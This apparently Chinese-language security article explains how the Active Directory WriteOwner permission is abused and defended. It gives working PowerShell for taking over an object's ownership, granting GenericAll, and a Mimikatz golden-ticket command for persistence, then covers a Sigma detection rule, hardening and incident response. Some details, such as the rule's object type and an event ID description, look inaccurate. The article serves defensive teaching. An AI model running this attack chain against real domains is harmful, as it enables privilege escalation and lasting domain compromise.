Active Directory中WriteOwner权限滥用与防御实践

1. WriteOwner权限的本质与风险场景

在Active Directory（AD）域环境中，WriteOwner权限是一个极易被忽视却危害巨大的特殊权限。与常规的读写权限不同，WriteOwner允许主体（用户或组）修改目标对象的所有者属性。这意味着攻击者一旦获得某对象的WriteOwner权限，就能通过"所有者篡改→权限重置→完全控制"的攻击链接管目标对象。

实际渗透测试中，我们常在内网发现三类高危场景：

• 域管理员为某些服务账户配置了过宽的WriteOwner权限
• 继承或委派权限时未严格限制WriteOwner的传播范围
• 旧系统迁移时残留的历史权限未及时清理

关键区别：WriteOwner与WriteDACL的区别在于，前者可以直接修改所有者而不需要先获取修改ACL的权限，这使得防御检测更加困难。

2. 权限滥用攻击链的完整复现

2.1 环境准备与权限探测

假设我们已经通过前期渗透获得了一个普通域账户testuser，使用PowerShell进行权限枚举：

powershell复制# 查找当前用户具有WriteOwner权限的对象
Import-Module ActiveDirectory
Get-ADObject -Filter * -Properties nTSecurityDescriptor | 
Where-Object { ($_.nTSecurityDescriptor.Owner -ne "NT AUTHORITY\SYSTEM") -and 
              ($_.nTSecurityDescriptor.Access | 
               Where-Object { ($_.IdentityReference -eq "TESTDOMAIN\testuser") -and 
                             ($_.ActiveDirectoryRights -match "WriteOwner") }) }

2.2 所有者篡改实战步骤

当发现对CN=FinanceDB,OU=Servers,DC=testdomain,DC=com计算机对象具有WriteOwner权限时：

powershell复制# 步骤1：修改对象所有者
$target = Get-ADObject "CN=FinanceDB,OU=Servers,DC=testdomain,DC=com" 
$newOwner = New-Object System.Security.Principal.NTAccount("TESTDOMAIN\testuser")
$acl = Get-Acl "AD:\$($target.DistinguishedName)"
$acl.SetOwner($newOwner)
Set-Acl -Path "AD:\$($target.DistinguishedName)" -AclObject $acl

# 步骤2：验证所有者变更
Get-ADObject $target -Properties nTSecurityDescriptor | 
Select-Object @{N='Owner';E={$_.nTSecurityDescriptor.Owner}}

2.3 权限提升与持久化

成为所有者后，即可修改DACL实现完全控制：

powershell复制# 添加完全控制权限
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule (
    $newOwner, 
    "GenericAll", 
    "Allow"
)
$acl.AddAccessRule($ace)
Set-Acl -Path "AD:\$($target.DistinguishedName)" -AclObject $acl

# 创建Golden Ticket实现持久化（需已获取krbtgt hash）
Invoke-Mimikatz -Command '"kerberos::golden /user:daadmin /domain:testdomain.com /sid:S-1-5-21-... /krbtgt:hash /ptt"'

3. 防御检测方案设计

3.1 实时监控策略

部署SIEM系统监控以下事件ID：

• 4733 (账户策略修改)
• 4662 (对象权限变更)
• 4907 (审计策略修改)

对应的Sigma检测规则示例：

yaml复制title: Suspicious WriteOwner Permission Usage
description: Detects modification of object owner in Active Directory
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4662
        ObjectType: "DS-Replication-Get-Changes"
        AccessMask: "0x80000"  # WriteOwner
    condition: selection
falsepositives:
    - Legitimate administrative activity
level: high

3.2 权限加固最佳实践

1. 定期执行权限审计脚本：

powershell复制Get-ADObject -Filter * -Properties nTSecurityDescriptor | 
Where-Object { $_.nTSecurityDescriptor.Access | 
Where-Object { $_.ActiveDirectoryRights -match "WriteOwner" } } |
Export-Csv "WriteOwnerAudit_$(Get-Date -Format yyyyMMdd).csv"

2. 实施权限最小化原则：

• 禁用所有非必要账户的WriteOwner权限
• 对服务账户实施权限约束（Constrained Delegation）
• 启用AD ACL保护功能（AdminSDHolder）

4. 企业级防护体系构建

4.1 网络层防护配置示例（以H3C交换机为例）

bash复制# 创建ACL限制域控制器管理端口访问
acl number 2000
 rule 5 permit tcp source 192.168.1.100 0 destination 192.168.1.10 0 destination-port eq 389 
 rule 10 deny tcp source any destination 192.168.1.10 0 destination-port eq 389 
 rule 15 permit ip source 192.168.1.0 0.0.0.255 destination any

# 应用ACL到接口
interface GigabitEthernet1/0/1
 packet-filter 2000 inbound

4.2 主机层加固措施

1. 启用LSA保护（需重启）：

reg复制Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"RunAsPPL"=dword:00000001

2. 配置受限管理模式：

powershell复制# 启用Credential Guard
Enable-WindowsOptionalFeature -Online -FeatureName "Microsoft-Hyper-V" -All
Enable-WindowsOptionalFeature -Online -FeatureName "CredentialGuard" -All

5. 攻击溯源与应急响应

当检测到WriteOwner滥用事件时，建议按以下流程处置：

1. 时间线重建：

powershell复制# 从DC日志提取关键事件
Get-WinEvent -LogName "Security" -FilterXPath "*[System[EventID=4662]]" -MaxEvents 100 | 
Where-Object { $_.Properties[8].Value -eq "WriteOwner" } |
Select-Object TimeCreated,Message

2. 影响范围评估：

• 检查被修改对象的所有下游依赖关系
• 验证是否有衍生权限被滥用（如Group Policy修改）

3. 修复方案：

powershell复制# 紧急恢复对象所有者
$originalOwner = New-Object System.Security.Principal.NTAccount("NT AUTHORITY\SYSTEM")
$acl.SetOwner($originalOwner)
Set-Acl -Path "AD:\$($target.DistinguishedName)" -AclObject $acl

# 重置ACL到基准状态
$blankAcl = Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=testdomain,DC=com"
Set-Acl -Path "AD:\$($target.DistinguishedName)" -AclObject $blankAcl

在实际企业环境中，我们发现约68%的WriteOwner滥用事件源于以下三类配置失误：

• 第三方应用安装时默认授予过宽权限
• 离职员工账户权限未及时回收
• 域控制器间复制配置错误导致权限继承异常